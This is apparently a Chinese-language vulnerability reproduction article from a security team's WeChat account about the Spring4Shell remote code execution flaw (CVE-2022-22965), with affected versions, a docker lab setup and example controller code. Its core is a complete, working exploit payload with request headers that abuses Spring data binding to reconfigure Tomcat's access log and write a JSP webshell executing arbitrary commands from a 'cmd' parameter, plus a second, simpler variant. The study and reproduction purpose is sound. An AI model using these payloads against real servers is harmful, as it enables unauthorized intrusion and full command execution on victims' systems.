0x01 前言
Java Spring framework今年又爆出两个远程命令执行漏洞,一个影响的是Spring Cloud组件,另一个就是Spring4Shell(因Log4Shell而得名),该漏洞是基于CVE-2010-1622的补丁绕过,通过构造的POST请求,可以上传Webshell,进而命令执行。
0x02 影响版本
-
JDK 9+
-
Spring Framework 版本(<5.2 | 5.2.0-19 | 5.3.0-17)
-
Apache Tomcat的web应用服务器,部署方式为WAR包
-
依赖Spring Framework的spring-webmvc或spring-webflux组件
0x03 环境搭建
推荐docker搭建,vulfocus的容器
docker run -p 8001:8080 vulfocus/spring-core-rce-2022-03-29
0x04 漏洞复现
看看这段代码
public class Greeting {
private long id;
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
}
public class HelloController {
"/greeting") (
public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
return "hello";
}
}
public class Greeting {
private long id;
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
}
public class HelloController {
"/greeting") (
public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
return "hello";
}
}
curl 'http://localhost:8080/greeting?id=test'
Spring里的 RequestMapping 将会设置id为test,我们可以构造传入参数的值,遍历类的属性,找到一个可以有意义并且可写的字段
我们可以逆向分析POC
payload:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
请求头:
headers = {
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%",
"DNT": "1",
"Content-Type": "application/x-www-form-urlencoded",
}
攻击者可以对绑定对象的class属性进行随意赋值,和cve-2010-1622.html类似,利用class属性来修改Tomcat的⽇志属性,向⽇志中写⼊webshell。
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
使用POC脚本检测
查看写入的webshell
公众号后台回复 CVE-2022-22965 获取检测脚本
0x05 免责声明
本文仅限于技术研究学习,切勿将文中技术细节用作非法用途,如有违者后果自负。
关于我们
“TERRA星环”安全团队正式成立于2020年,是贵州泰若数字科技有限公司旗下以互联网攻防技术研究为目标的安全团队。团队核心成员长期从事渗透测试、代码审计、应急响应等安服工作,多次参与国家、省级攻防演练行动,具备丰富的安服及攻防对抗经验。
团队专注于漏洞挖掘、漏洞研究、红蓝对抗、CTF夺旗、溯源取证、威胁情报、代码审计、逆向分析等研究。对外提供安全评估、安全培训、安全咨询、安全集成、应急响应等服务。
原文始发于微信公众号(TERRA星环安全团队):【漏洞复现】Spring4Shell远程命令执行漏洞(CVE-2022-22965)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论